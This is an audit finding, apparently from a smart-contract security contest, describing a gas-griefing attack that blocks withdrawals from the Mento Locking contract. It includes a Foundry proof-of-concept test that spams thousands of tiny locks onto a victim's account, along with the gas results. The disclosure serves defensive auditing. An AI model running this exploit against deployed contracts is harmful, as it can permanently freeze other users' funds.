Dapper Honey Raccoon

high

# Attacker can deny users' withdrawals from Locking contract

## Summary

An attacker can deny user withdrawals by making calls to
`Locking.withdraw` gas expensive.

## Vulnerability Detail

An attacker can create multiple small locks allocated to any user.
For each lock, a slope will be added to the user's balance in the `Locking` contract.

During a user's withdrawal, the user's balance available for withdraw is
calculated. It depends on the registered slopes.

The issue is that the user's available balance is calculated from a set of slopes.
The more slopes there are, the more expensive the call to `Locking.withdraw` is.

As the attacker can register as much locks as he wants to any user and
that the amount of token for a lock can be low (104 in POC, nothing compared to token which is 18 decimals),
the attacker can make the calls to `Locking.withdraw` gas expensive so
that it doesn't fit in one block.

## Impact

User is not able to withdraw from the `Locking` contract. Funds are considered lost.

## Code Snippet

### Exploit

The attacker can create a lock and delegate it to any address.

The lock is created through [`Locking.lock`](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/Locking.sol#L83):
```solidity
  function lock(
    address account,
    address _delegate,
    uint96 amount,
    uint32 slopePeriod,
    uint32 cliff
  ) external override notStopped returns (uint256) {
    // @POC redacted
    addLines(account, _delegate, amount, slopePeriod, cliff, time, currentBlock); 
```

The [`addLines` internal function](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/LockingBase.sol#L197) is called.
This function will add one line to the user's account balance.

```solidity
  function addLines(
    address account,
    address _delegate,
    uint96 amount,
    uint32 slopePeriod,
    uint32 cliff,
    uint32 time,
    uint32 currentBlock
  ) internal {
    // @POC redacted
    accounts[account].locked.addOneLine(counter, line, currentBlock);
```

`addOneLine` calls [`_addOneLine` which does multiple times](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L82-L93):
```solidity
  brokenLine.slopeChanges.addToItem(cliffEnd, safeInt(line.slope));
```

So for each lock created, a slope item is added to the user's balance.


### Consequences

During a call to [`Locking.withdraw`](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/Locking.sol#L96-L120),
`getAvailableForWithdraw` is called to retrieve the user's balance available for withdraw.

```solidity
  function withdraw() external {
    uint96 value = getAvailableForWithdraw(msg.sender); // @POC call to `getAvailableForWithdraw`
    if (value > 0) {
      accounts[msg.sender].amount = accounts[msg.sender].amount - (value);
      // slither-disable-next-line reentrancy-events
      require(token.transfer(msg.sender, value), "transfer failed");
    }
    emit Withdraw(msg.sender, value);
  }

  /**
   * @notice Calculates the amount available for withdrawal by an account
   * @param account The account to check the withdrawable amount for
   * @return The amount of tokens available for withdrawal
   */
  function getAvailableForWithdraw(address account) public view returns (uint96) {
    uint96 value = accounts[account].amount;
    if (!stopped) {
      uint32 currentBlock = getBlockNumber();
      uint32 time = roundTimestamp(currentBlock);
      uint96 bias = accounts[account].locked.actualValue(time, currentBlock); // @POC retrieve the `actualValue`
      value = value - (bias);
    }
    return value;
  }
```

This function calls `actualValue` to retrieve the account's locked amount
that can be unlocked.

The [`actualValue` function](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L252-L269) makes a lot of calculations through `actualValueBack`
and [`actualValueForward` to get the actual value of the account](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L282-L304).

These functions both retrieve the slope items stored in `slopeChanges`.
[For example, `actualValueForward` use the following code](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L282-L304):
```solidity
    while (time < toTime) {
      bias = bias - (slope);

      int96 newSlope = safeInt(slope) + (brokenLine.slopeChanges[time]); // @POC: gas consumption here!
      require(newSlope >= 0, "slope < 0, something wrong with slope");
      slope = uint96(newSlope);

      time = time + 1;
    }
```

This will retrieve slope items stored in the total supply.

As the attacker can store as much slope items through creating new locks,
he is able to increase the gas needed for the user to withdraw.

If he registers too much locks, the gas needed to withdraw the
user's position be greater than the gas amount supported in one block.
Then, all user's withdrawal attempt will fail.


### Proof of Concept

A proof of concept was created, it shows how an attacker can increase the gas
amount required for a user to withdraw.

The POC unit test:

```solidity
  function test_zigtur_attackerCanBreakUserWithdrawals() public {
    //// PART1: Legit scenario
    mentoToken.mint(alice, 10000);
    mentoToken.mint(charlie, 100); // @POC: charlie = attacker

    vm.prank(alice);
    locking.lock(alice, alice, 10000, 10, 0);

    // After 10 weeks, alice should be able to withdraw everything.
    // 11 weeks have passed
    vm.roll((3600*24*7*11)/5);

    uint256 legitGasBefore = gasleft();
    vm.prank(alice);
    locking.withdraw();
    uint256 legitGasAfter = gasleft();
    console.log("Legit gas consumption:", legitGasBefore - legitGasAfter);


    //// PART2: Attack scenario
    mentoToken.mint(alice, 10000);
    mentoToken.mint(charlie, 10 * (10**18)); // @POC: charlie = attacker

    vm.prank(alice);
    locking.lock(alice, alice, 10000, 1, 0);

    // After 10 weeks, alice should be able to withdraw everything.
    // 10 weeks have passed
    vm.roll((3600*24*7*10)/5);

    // After 10 weeks, attacker launch his attack on alice
    vm.startPrank(charlie);
    mentoToken.approve(address(locking), type(uint256).max);
    for(uint256 i; i < 10_000; i++) {
      locking.lock(alice, alice, 104, 100, 100);
    }
    vm.stopPrank();

    // 1 more week pass
    vm.roll((3600*24*7*1)/5);

    uint256 attackGasBefore = gasleft();
    vm.prank(alice);
    locking.withdraw();
    uint256 attackGasAfter = gasleft();
    console.log("Attack gas consumption:", attackGasBefore - attackGasAfter);
  }
```

It gives the results:

```text
  Legit gas consumption: 6160
  Attack gas consumption: 8837670
```

As we can see, almost 9 millions gas are consumed when under attack.
This amount could be even more increased to be greater than the block gas limit.

Then funds will not be withdrawable and considered as lost.

## Tool used

Manual Review

## Recommendation

Consider modifying the user's balance logic to get rid of lines (note that this seems heavy and hard to implement).

This would avoid an external user to have significant impact on the gas consumption of other users.

Another work-around would be to forbid the creation of locks for other users.
The PoC shows that Charlie created multiple locks for Alice, but Alice
didn't approve Charlie to do it.
